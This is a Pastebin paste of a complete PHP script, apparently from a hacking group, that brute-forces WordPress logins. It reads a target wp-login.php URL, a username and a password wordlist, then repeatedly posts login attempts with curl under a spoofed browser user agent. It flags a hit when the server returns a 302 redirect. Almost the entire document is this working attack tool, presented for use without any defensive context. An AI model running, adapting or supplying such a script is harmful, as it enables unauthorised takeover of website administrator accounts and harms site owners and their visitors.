Advertisement
Fadly31337

WordPress Bruteforce

Dec 3rd, 2020
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.22 KB | None | 0 0
  1. <?php
  2. #coded by 4LM05TH3V!L
  3. #MADE WITH <3
  4. error_reporting(0);
  5. system('clear') or system('cls');
  6. echo
  7. "\033[32m
  8.   .       .
  9. +  :      .
  10.          :       _
  11.      .   !   '  (_)      
  12.         ,|.'              
  13. -  -- ---(-O-`--- --  -   { Wordpress Brute Force }
  14.        ,`|'`.              Coded By 4LMO5TH3V!L
  15.      ,   !    .      [?] IndoSec - Hidden Ghost Team [?]
  16.          :       :  
  17.          .     --+--
  18. .:        .       !
  19. \n\033[31m[!] \033[0mUsage: php brute.php http://tusbol.com/wp-login.php username wordlist.txt \n";
  20. $useragent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0";
  21. $url = $argv[1];
  22. $user = $argv[2];
  23. $listget = $argv[3];
  24. if ($url == null || $user == null || $listget == null) {
  25.     exit("\n\033[31m[!] \033[0mUsage: php brute.php http://tusbol.com/wp-login.php username wordlist.txt \n\n");
  26. }
  27. $list_get = file_get_contents($listget);
  28. $list = array_filter(explode("\n", $list_get));
  29. $loaded = count($list);
  30. $current = 1;
  31. $repUrl = str_replace("wp-login.php", "wp-admin/&reauth=1", $url);
  32.  
  33. foreach($list as $lists){
  34.  
  35.             $ch1 = curl_init();
  36.             curl_setopt($ch1, CURLOPT_URL, $url."?redirect_to=".$repUrl);
  37.             curl_setopt($ch1, CURLOPT_USERAGENT, $useragent);
  38.             curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);
  39.             curl_setopt($ch1, CURLOPT_COOKIEJAR, "cookie.tmp");
  40.             $exec1 = curl_exec($ch1);
  41.    
  42.             $ch = curl_init();
  43.             curl_setopt($ch, CURLOPT_URL, $url);
  44.             curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
  45.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  46.             curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.tmp");
  47.             curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  48.             curl_setopt($ch, CURLOPT_POST, true);
  49.             curl_setopt($ch, CURLOPT_POSTFIELDS, "log=$user&pwd=$lists&wp-submit=Login&redirect_to=$url/wp-admin/");
  50.             $exec = curl_exec($ch);
  51.             $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  52. if($http == 302){
  53.     echo "\n\033[32m[!] \033[0mFound!  ~> ".$url." ~ ".$user." | ".$lists."\n";
  54.     break;
  55. } else {
  56.     echo "\n\033[31m[!] \033[0mFailed! ~> ".$url." ~ ".$user." | ".$lists."";
  57.    }
  58. }
  59. echo "\n";
  60. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement